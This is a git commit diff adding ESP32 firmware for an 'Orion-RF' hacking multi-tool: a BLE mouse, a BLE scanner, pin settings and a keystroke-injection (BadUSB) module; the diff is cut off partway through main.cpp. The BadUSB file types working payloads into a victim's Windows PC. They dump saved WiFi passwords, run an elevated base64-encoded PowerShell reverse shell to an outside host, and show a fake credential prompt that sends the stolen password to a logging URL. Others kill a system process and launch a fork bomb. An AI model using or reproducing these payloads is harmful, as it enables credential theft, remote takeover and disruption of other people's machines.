aboutsummaryrefslogtreecommitdiff
path: root/src-arduino
diff options
context:
space:
mode:
authorkrolyxon <me@krolyxon.com>2026-06-20 00:24:34 +0530
committerkrolyxon <me@krolyxon.com>2026-06-20 00:24:34 +0530
commit7e4cfad53699fabbecb6696508e5addcffc1b095 (patch)
treeebff581b0989df578c312247e1dad514c956572b /src-arduino
parent1f800b74329d4f8b1511b4cf2a0d031439e1038d (diff)
restructure to use rust source tree primarily
Diffstat (limited to 'src-arduino')
-rw-r--r--src-arduino/bluetooth/ble_mouse.cpp73
-rw-r--r--src-arduino/bluetooth/ble_mouse.h3
-rw-r--r--src-arduino/bluetooth/blescanner.cpp192
-rw-r--r--src-arduino/bluetooth/blescanner.h5
-rw-r--r--src-arduino/config.h41
-rw-r--r--src-arduino/hid/badusb.cpp446
-rw-r--r--src-arduino/hid/badusb.h6
-rw-r--r--src-arduino/main.cpp125
-rw-r--r--src-arduino/nfc/nfc.cpp104
-rw-r--r--src-arduino/nfc/nfc.h4
-rw-r--r--src-arduino/rf/cc1101.cpp357
-rw-r--r--src-arduino/rf/cc1101.h12
-rw-r--r--src-arduino/rf/nrf24.cpp217
-rw-r--r--src-arduino/rf/nrf24.h13
-rw-r--r--src-arduino/ui/display.cpp11
-rw-r--r--src-arduino/ui/display.h7
-rw-r--r--src-arduino/ui/menu.cpp316
-rw-r--r--src-arduino/ui/menu.h9
-rw-r--r--src-arduino/utils/buttons.cpp19
-rw-r--r--src-arduino/utils/buttons.h10
-rw-r--r--src-arduino/utils/device_check.cpp151
-rw-r--r--src-arduino/utils/device_check.h3
-rw-r--r--src-arduino/utils/sysinfo.cpp84
-rw-r--r--src-arduino/utils/sysinfo.h3
-rw-r--r--src-arduino/wifi/wifi_analyzer.cpp137
-rw-r--r--src-arduino/wifi/wifi_analyzer.h4
-rw-r--r--src-arduino/wifi/wifi_scan.cpp139
-rw-r--r--src-arduino/wifi/wifi_scan.h5
28 files changed, 2496 insertions, 0 deletions
diff --git a/src-arduino/bluetooth/ble_mouse.cpp b/src-arduino/bluetooth/ble_mouse.cpp
new file mode 100644
index 0000000..c627163
--- /dev/null
+++ b/src-arduino/bluetooth/ble_mouse.cpp
@@ -0,0 +1,73 @@
+#include "config.h"
+#include "hid/badusb.h"
+#include <Arduino.h>
+#include <BleMouse.h>
+
+#include "utils/buttons.h"
+#include "ui/display.h"
+
+// ===== BLE MOUSE =====
+// BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
+extern BleMouse bleMouse;
+
+// ===== MAIN =====
+void ble_mouse_run() {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(10, 25, "BLE Mouse");
+ u8g2.drawStr(10, 45, "Connecting...");
+ u8g2.sendBuffer();
+
+ delay(800);
+
+ while (1) {
+ // 🔥 EXIT FIRST (clean)
+ if (btnBack())
+ break;
+
+ bool connected = bleMouse.isConnected();
+
+ int dx = 0;
+ int dy = 0;
+
+ if (connected) {
+ if (!digitalRead(BTN_UP))
+ dy = -6;
+ if (!digitalRead(BTN_DOWN))
+ dy = 6;
+ if (!digitalRead(BTN_LEFT))
+ dx = -6;
+ if (!digitalRead(BTN_RIGHT))
+ dx = 6;
+
+ if (dx || dy)
+ bleMouse.move(dx, dy);
+
+ // ✅ single click (not spam)
+ static bool lastSelect = false;
+ bool currentSelect = !digitalRead(BTN_SELECT);
+
+ if (currentSelect && !lastSelect)
+ bleMouse.click(MOUSE_LEFT);
+
+ lastSelect = currentSelect;
+ }
+
+ // ===== UI =====
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+
+ u8g2.drawStr(10, 20, "BLE Mouse");
+
+ if (connected)
+ u8g2.drawStr(10, 35, "Connected");
+ else
+ u8g2.drawStr(10, 35, "Waiting");
+
+ u8g2.drawStr(10, 55, "BACK = Exit");
+
+ u8g2.sendBuffer();
+
+ delay(10); // important for BLE stability
+ }
+}
diff --git a/src-arduino/bluetooth/ble_mouse.h b/src-arduino/bluetooth/ble_mouse.h
new file mode 100644
index 0000000..fc6a4cc
--- /dev/null
+++ b/src-arduino/bluetooth/ble_mouse.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void ble_mouse_run();
diff --git a/src-arduino/bluetooth/blescanner.cpp b/src-arduino/bluetooth/blescanner.cpp
new file mode 100644
index 0000000..923da65
--- /dev/null
+++ b/src-arduino/bluetooth/blescanner.cpp
@@ -0,0 +1,192 @@
+#include <Arduino.h>
+#include <BLEAdvertisedDevice.h>
+#include <BLEDevice.h>
+#include <BLEScan.h>
+#include <vector>
+
+#include "config.h"
+#include "utils/buttons.h"
+#include "ui/display.h"
+
+// ===== DEVICE STRUCT =====
+struct BLEDeviceInfo {
+ String name;
+ String address;
+ int rssi;
+ String manufacturer;
+ String deviceType;
+};
+
+static std::vector<BLEDeviceInfo> devices;
+static BLEScan *pBLEScan;
+static int selectedIndex = 0;
+
+// ===== CALLBACK =====
+class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
+ void onResult(BLEAdvertisedDevice advertisedDevice) override {
+ BLEDeviceInfo dev;
+
+ String tempName = advertisedDevice.getName().c_str();
+
+ if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
+ tempName = advertisedDevice.getServiceData().c_str();
+ }
+
+ if (tempName.length() == 0) {
+ String addr = advertisedDevice.getAddress().toString().c_str();
+ tempName = "BLE_" + addr.substring(addr.length() - 5);
+ }
+
+ dev.name = tempName;
+ dev.address = advertisedDevice.getAddress().toString().c_str();
+ dev.rssi = advertisedDevice.getRSSI();
+
+ if (advertisedDevice.haveManufacturerData()) {
+ String mData = advertisedDevice.getManufacturerData().c_str();
+
+ if (mData.length() >= 2) {
+ char buffer[10];
+ sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1],
+ (uint8_t)mData[0]);
+ dev.manufacturer = String(buffer);
+ } else {
+ dev.manufacturer = "unknown";
+ }
+ } else {
+ dev.manufacturer = "unknown";
+ }
+
+ if (advertisedDevice.haveServiceUUID()) {
+ dev.deviceType =
+ advertisedDevice.getServiceUUID().toString().c_str();
+ } else {
+ dev.deviceType = "unknown";
+ }
+
+ devices.push_back(dev);
+ }
+};
+
+// ===== DRAW MENU =====
+void ble_drawMenu() {
+ u8g2.clearBuffer();
+
+ if (devices.empty()) {
+ u8g2.setFont(u8g2_font_6x12_tr);
+ u8g2.drawStr(0, 30, "No devices");
+ u8g2.drawStr(0, 45, "Press BACK");
+ } else {
+ u8g2.setFont(u8g2_font_5x8_tr);
+
+ char counter[20];
+ sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
+ u8g2.drawStr(0, 8, counter);
+
+ u8g2.setFont(u8g2_font_6x10_tr);
+
+ for (int i = 0; i < 3; i++) {
+ int idx = selectedIndex + i;
+ if (idx >= devices.size())
+ break;
+
+ int y = 22 + i * 14;
+
+ if (i == 0) {
+ u8g2.drawBox(0, y - 10, 128, 12);
+ u8g2.setDrawColor(0);
+ }
+
+ String text = devices[idx].name;
+ if (text.length() > 12)
+ text = text.substring(0, 12) + "..";
+
+ text += " (" + String(devices[idx].rssi) + ")";
+
+ u8g2.drawStr(2, y, text.c_str());
+
+ if (i == 0)
+ u8g2.setDrawColor(1);
+ }
+ }
+
+ u8g2.sendBuffer();
+}
+
+// ===== DEVICE DETAILS =====
+void ble_drawDetails(const BLEDeviceInfo &dev) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
+
+ u8g2.drawStr(0, 10, dev.name.c_str());
+ u8g2.drawStr(0, 20, dev.address.c_str());
+
+ char rssiStr[20];
+ sprintf(rssiStr, "RSSI: %d", dev.rssi);
+ u8g2.drawStr(0, 30, rssiStr);
+
+ u8g2.drawStr(0, 40, dev.manufacturer.c_str());
+
+ u8g2.sendBuffer();
+}
+
+// ===== SCAN =====
+void ble_scan() {
+ devices.clear();
+
+ u8g2.clearBuffer();
+ u8g2.drawStr(10, 30, "Scanning...");
+ u8g2.sendBuffer();
+
+ BLEDevice::init("");
+
+ pBLEScan = BLEDevice::getScan();
+ pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
+ false);
+ pBLEScan->setActiveScan(true);
+ pBLEScan->setInterval(100);
+ pBLEScan->setWindow(99);
+
+ pBLEScan->start(5, false);
+
+ // remove duplicates
+ std::vector<BLEDeviceInfo> unique;
+ for (auto &d : devices) {
+ bool exists = false;
+ for (auto &u : unique) {
+ if (u.address == d.address) {
+ exists = true;
+ break;
+ }
+ }
+ if (!exists)
+ unique.push_back(d);
+ }
+
+ devices = unique;
+}
+
+// ===== MAIN LOOP =====
+void ble_loop() {
+ static uint32_t lastPress = 0;
+
+ if (millis() - lastPress < 200)
+ return;
+
+ if (btnDown() && selectedIndex < (int)devices.size() - 1) {
+ selectedIndex++;
+ ble_drawMenu();
+ lastPress = millis();
+ } else if (btnUp() && selectedIndex > 0) {
+ selectedIndex--;
+ ble_drawMenu();
+ lastPress = millis();
+ } else if (btnSelect() && !devices.empty()) {
+ ble_drawDetails(devices[selectedIndex]);
+ delay(3000);
+ ble_drawMenu();
+ lastPress = millis();
+ } else if (btnBack()) {
+ lastPress = millis();
+ return;
+ }
+}
diff --git a/src-arduino/bluetooth/blescanner.h b/src-arduino/bluetooth/blescanner.h
new file mode 100644
index 0000000..a642de2
--- /dev/null
+++ b/src-arduino/bluetooth/blescanner.h
@@ -0,0 +1,5 @@
+#pragma once
+
+void ble_scan();
+void ble_loop();
+void ble_drawMenu();
diff --git a/src-arduino/config.h b/src-arduino/config.h
new file mode 100644
index 0000000..08c0e68
--- /dev/null
+++ b/src-arduino/config.h
@@ -0,0 +1,41 @@
+#pragma once
+
+// ================= NRF24 =================
+#define CE1_PIN 10
+#define CSN1_PIN 11
+
+#define CE2_PIN 12
+#define CSN2_PIN 13
+
+#define NRF_SCK 18
+#define NRF_MISO 16
+#define NRF_MOSI 17
+
+// ================== OLED ===================
+#define OLED_SDA_PIN 8
+#define OLED_SCL_PIN 9
+
+/////////////////cc1101 vars//////////////
+// CC1101 via FSPI
+#define cc1101_SCK 15
+#define cc1101_MISO 41
+#define cc1101_MOSI 35
+
+//////////////cc1101(1)//////////
+#define CC1101_CS 40
+#define CC1101_GDO0 39
+#define CC1101_GDO2 42
+
+// SD Card via HSPI
+// #define SD_SCK 14
+// #define SD_MISO 39
+// #define SD_MOSI 38
+// #define SD_CS 37
+
+// =================== Buttons ====================
+#define BTN_UP 4
+#define BTN_DOWN 5
+#define BTN_SELECT 6
+#define BTN_BACK 7
+#define BTN_LEFT 1
+#define BTN_RIGHT 2
diff --git a/src-arduino/hid/badusb.cpp b/src-arduino/hid/badusb.cpp
new file mode 100644
index 0000000..c24f541
--- /dev/null
+++ b/src-arduino/hid/badusb.cpp
@@ -0,0 +1,446 @@
+#include "ui/display.h"
+#include <Arduino.h>
+#include <USBHIDKeyboard.h>
+
+extern USBHIDKeyboard Keyboard;
+
+void runCommand(const char *command) {
+ Keyboard.press(KEY_LEFT_GUI);
+ Keyboard.press('r');
+ delay(100);
+ Keyboard.releaseAll();
+ delay(300);
+ Keyboard.print(command);
+ Keyboard.write(KEY_RETURN);
+}
+
+void showRunningScreen(String taskName, uint8_t duration = 5) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x12_tf);
+ u8g2.drawStr(0, 15, "Running:");
+ u8g2.drawStr(0, 30, taskName.c_str());
+ u8g2.drawFrame(0, 45, 128, 10);
+
+ static const unsigned char image_download_bits[] U8X8_PROGMEM = {
+ 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
+ 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
+ 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
+ 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
+ 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+ 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
+ 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
+ 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
+ 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
+ static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
+ 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
+ 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
+ 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
+ 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
+ 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
+ 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
+
+ u8g2.setFontMode(1);
+ u8g2.setBitmapMode(1);
+ // download
+ u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
+
+ // EviSmile1
+ u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
+
+ for (uint8_t i = 0; i <= duration; i++) {
+ u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
+ u8g2.sendBuffer();
+ delay(50);
+ }
+}
+
+void typeSlow(const char *text, int delayMs = 25) {
+ while (*text) {
+ Keyboard.print(*text);
+ delay(delayMs);
+ text++;
+ }
+}
+
+void badUSBMenu(int index) {
+ // switch (index)
+ // {
+ // case 0:
+ // runBadUSBDemo();
+ // break;
+
+ // case 1:
+ // Serial.println("Open CMD payload");
+ // runBadUSBOpenCMD();
+ // break;
+
+ // case 2:
+ // Serial.println("Rickroll payload");
+ // runBadUSBRickroll();
+ // break;
+ // }
+
+ switch (index) {
+ // ================= ORION DEMO =================
+ case 0:
+ showRunningScreen("ORION Demo");
+
+ runCommand("notepad");
+
+ delay(2500);
+
+ typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
+ Keyboard.write(KEY_RETURN);
+
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("[+] WIFI MODULE READY");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("[+] BLE MODULE READY");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("[+] SUBGHZ MODULE READY");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("[+] NFC MODULE READY");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("[+] HID ENGINE READY");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+
+ // ================= RICKROLL =================
+ case 1:
+ showRunningScreen("RickRoll");
+
+ runCommand("cmd");
+
+ delay(700);
+
+ typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+
+ // ================= MATRIX =================
+ case 2:
+ showRunningScreen("Matrix");
+
+ runCommand("cmd");
+
+ delay(700);
+
+ typeSlow("color 0A");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("mode con: cols=120 lines=40");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow(":A");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("echo %random%%random%%random%%random%%random%");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("goto A");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+
+ // ================= FAKE TERMINAL =================
+ case 3:
+ showRunningScreen("Fake Terminal");
+
+ runCommand("cmd");
+
+ delay(700);
+
+ typeSlow("color 0A");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("cls");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("echo CONNECTING TO TARGET...");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("echo BYPASSING FIREWALL...");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("echo ACCESS GRANTED");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("systeminfo");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+
+ // ================= WIFI CRACK =================
+ // ================= WIFI PASSWORD RECOVERY =================
+ case 4:
+ showRunningScreen("WiFi Recovery");
+
+ runCommand("cmd");
+ delay(700);
+
+ // Styling the window
+ typeSlow("color 0A && mode con: cols=100 lines=30");
+ Keyboard.write(KEY_RETURN);
+ delay(200);
+
+ typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
+ Keyboard.write(KEY_RETURN);
+ delay(500);
+
+ // The "Magic" Command:
+ // This lists all profiles and shows the 'Key Content' (the password) in
+ // clear text. We use a 'for' loop to automate this for every network
+ // the PC has ever joined.
+ typeSlow(
+ "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
+ "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
+ "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
+
+ Keyboard.write(KEY_RETURN);
+
+ // Optional: Keep the window open to read the results
+ typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+
+ // ================= FAKE UPDATE =================
+ case 5:
+ showRunningScreen("Fake Update");
+
+ runCommand("cmd");
+
+ delay(700);
+
+ typeSlow("start https://fakeupdate.net/win10u/");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+
+ // ================= FAKE BSOD =================
+ case 6:
+ showRunningScreen("Critical Error");
+
+ runCommand("powershell -c \"stop-process -name wininit -force\"");
+ break;
+
+ // ================= GLITCH SCREEN =================
+ case 7:
+ showRunningScreen("Glitch");
+
+ runCommand("cmd");
+
+ delay(700);
+
+ for (int i = 0; i < 20; i++) {
+ typeSlow("color 4F");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("color 1F");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("cls");
+ Keyboard.write(KEY_RETURN);
+ }
+
+ break;
+
+ // ================= ASCII SPAM =================
+ case 8:
+ showRunningScreen("ASCII");
+
+ runCommand("notepad");
+
+ delay(2000);
+
+ for (int i = 0; i < 15; i++) {
+ typeSlow("######### ORION-RF #########");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow(">>> SIGNAL ACQUIRED <<<");
+ Keyboard.write(KEY_RETURN);
+
+ typeSlow("[|||||||||||||||||||||||||]");
+ Keyboard.write(KEY_RETURN);
+
+ Keyboard.write(KEY_RETURN);
+ }
+
+ break;
+
+ // ================= HACKER TYPER =================
+ case 9:
+ showRunningScreen("Hacker Typer");
+
+ runCommand("cmd");
+
+ delay(700);
+
+ typeSlow("start https://hackertyper.net/");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+ // ================= POWERSHELL REVERSE SHELL =================
+ // ================= DEFENDER BYPASS + NC =================
+ case 10:
+ showRunningScreen("Pwn Mode v2");
+
+ // 1. Open Admin PowerShell
+ Keyboard.press(KEY_LEFT_GUI);
+ Keyboard.press('r');
+ delay(150);
+ Keyboard.releaseAll();
+ delay(500);
+
+ // Open Admin Prompt - using 'powershell' directly to save space
+ typeSlow("powershell Start-Process powershell -Verb runAs");
+ Keyboard.write(KEY_RETURN);
+ delay(2500); // Wait for UAC
+
+ // 2. Bypass UAC (Left Arrow + Enter)
+ Keyboard.write(KEY_LEFT_ARROW);
+ delay(200);
+ Keyboard.write(KEY_RETURN);
+ delay(3000); // Give the Admin window time to load
+
+ // 3. AMSI Bypass + Disable Defender + Execute Shell
+ // We use -EncodedCommand to hide the script from simple string
+ // scanners. The Base64 string below contains: Set-MpPreference
+ // -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
+
+ typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
+ "-EncodedCommand ");
+
+ // This is the encoded payload for krolyxon.com:4444
+ typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A"
+ "FMAdAByAG"
+ "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA"
+ "2ADQAUwB0"
+ "AHIAaQBuAGcAKAAiAEgA"
+ "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkA"
+ "cwB0AGUAb"
+ "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0AC"
+ "gAJwBrAHI"
+ "AbwBsAHkAeABvAG4A"
+ "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkA"
+ "GMAbABpAG"
+ "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQB"
+ "dACQAYgB5"
+ "AHQAZQBzACAAPQA"
+ "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQA"
+ "aQAgAD0AI"
+ "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwAC"
+ "wAIAAkAGI"
+ "AeQB0AGUAcwAuAEw"
+ "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9"
+ "ACAAKABOA"
+ "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcw"
+ "B0AGUAbQA"
+ "uAFQAZQB4AHQAL"
+ "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG"
+ "4AZwAoACQ"
+ "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAg"
+ "AD0AIAAoA"
+ "GkAZQB4ACAAJAB"
+ "kAGEAdABhACAAMgA+"
+ "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZ"
+ "ABiAGEAYw"
+ "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwA"
+ "gACsAK"
+ "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAG"
+ "IAeQB0AGU"
+ "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBT"
+ "AEMASQBJA"
+ "CkALgBHAGUAd"
+ "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAG"
+ "UAYQBhAG0"
+ "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBu"
+ "AGQAYgB5A"
+ "HQAZQAuAEwAZQB"
+ "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA"
+ "JABjAGwAa"
+ "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA"
+ "BwAHIAZQB"
+ "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA"
+ "bwBkAGkAb"
+ "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF"
+ "QAbwBBAHI"
+ "AcgBhAHkAKAApACkAKQA=");
+
+ Keyboard.write(KEY_RETURN);
+ break;
+ // ================= CREDENTIAL SNATCHER =================
+ case 11:
+ showRunningScreen("Vault Crack");
+
+ // Open hidden PowerShell
+ runCommand(
+ "powershell -nop -W Hidden -c \"$cred = "
+ "$host.ui.PromptForCredential('Windows Security','Please "
+ "authenticate "
+ "to update your system credentials.','',''); $p = "
+ "$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
+ "Invoke-WebRequest -Uri "
+ "'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
+
+ break;
+ // ================= DESKTOP GHOST =================
+ case 12:
+ showRunningScreen("Ghost Mode");
+
+ runCommand(
+ "powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
+ "System.Windows.Forms; "
+ "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
+ "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
+ "-Format Image).Save($path); Set-ItemProperty -Path "
+ "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
+ "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
+
+ // Hide Desktop Icons (requires a registry tweak)
+ typeSlow(
+ "reg add "
+ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
+ "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
+ "explorer.exe && start explorer.exe");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+ // ================= FORK BOMB =================
+ case 13:
+ showRunningScreen("System Stress");
+
+ runCommand("cmd");
+ delay(500);
+
+ // The shortest deadly command in Windows
+ typeSlow("%0|%0");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+ }
+}
diff --git a/src-arduino/hid/badusb.h b/src-arduino/hid/badusb.h
new file mode 100644
index 0000000..0b77c2a
--- /dev/null
+++ b/src-arduino/hid/badusb.h
@@ -0,0 +1,6 @@
+#pragma once
+#include <Arduino.h>
+
+void badUSBMenu(int index);
+void showRunningScreen(String taskName, uint8_t duration);
+void runCommand(const char *command);
diff --git a/src-arduino/main.cpp b/src-arduino/main.cpp
new file mode 100644
index 0000000..a82dd59
--- /dev/null
+++ b/src-arduino/main.cpp
@@ -0,0 +1,125 @@
+#include <Arduino.h>
+#include <USB.h>
+#include <USBHIDKeyboard.h>
+
+#include "BleMouse.h"
+#include <BLEDevice.h>
+#include <BLEScan.h>
+
+#include <RF24.h>
+#include <nRF24L01.h>
+
+#include "ELECHOUSE_CC1101_SRC_DRV.h"
+
+#include <WiFi.h>
+#include <esp_wifi.h>
+
+#include <SPI.h>
+#include <esp_chip_info.h>
+#include <esp_heap_caps.h>
+#include <esp_system.h>
+
+#include "ui/display.h"
+#include "ui/menu.h"
+#include "utils/buttons.h"
+
+#include "config.h"
+#include "rf/cc1101.h"
+
+// ================= USB HID =================
+USBHIDKeyboard Keyboard;
+
+// ===== BLE MOUSE =====
+BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
+
+RF24 radio1(CE1_PIN, CSN1_PIN);
+RF24 radio2(CE2_PIN, CSN2_PIN);
+SPIClass *RADIO_SPI;
+
+void deactivateNRF1() {
+ digitalWrite(CSN1_PIN, HIGH);
+ digitalWrite(CE1_PIN, LOW);
+}
+
+void deactivateNRF2() {
+ digitalWrite(CSN2_PIN, HIGH);
+ digitalWrite(CE2_PIN, LOW);
+}
+
+// ================= SYSTEM INFO =================
+void printSystemUsage() {
+ esp_chip_info_t chip_info;
+
+ esp_chip_info(&chip_info);
+
+ Serial.printf("CPU cores: %d\n", chip_info.cores);
+
+ Serial.printf("Free heap: %d bytes\n",
+ heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
+
+ Serial.printf("PSRAM free: %d bytes\n",
+ heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
+}
+
+void showSplash() {
+ u8g2.clearBuffer();
+
+ u8g2.setFont(u8g2_font_logisoso20_tr); // big font
+ u8g2.drawStr(10, 40, "Orion-RF");
+
+ u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
+ u8g2.drawStr(25, 58, "Initializing...");
+
+ u8g2.sendBuffer();
+
+ delay(1500); // 1.5 sec
+}
+
+// ================= SETUP =================
+void setup() {
+ Serial.begin(115200);
+
+ displayInit();
+ showSplash();
+
+ buttonsInit();
+ menuInit();
+
+ delay(1500);
+
+ USB.begin();
+ Keyboard.begin();
+
+ // NRF SPI safety
+ // pinMode(CSN1_PIN, OUTPUT);
+ // digitalWrite(CSN1_PIN, HIGH);
+
+ // pinMode(CSN2_PIN, OUTPUT);
+ // digitalWrite(CSN2_PIN, HIGH);
+ deactivateNRF1();
+ deactivateNRF2();
+
+ RADIO_SPI = new SPIClass(FSPI);
+ RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
+
+ // ===== CC1101 SPI INIT =====
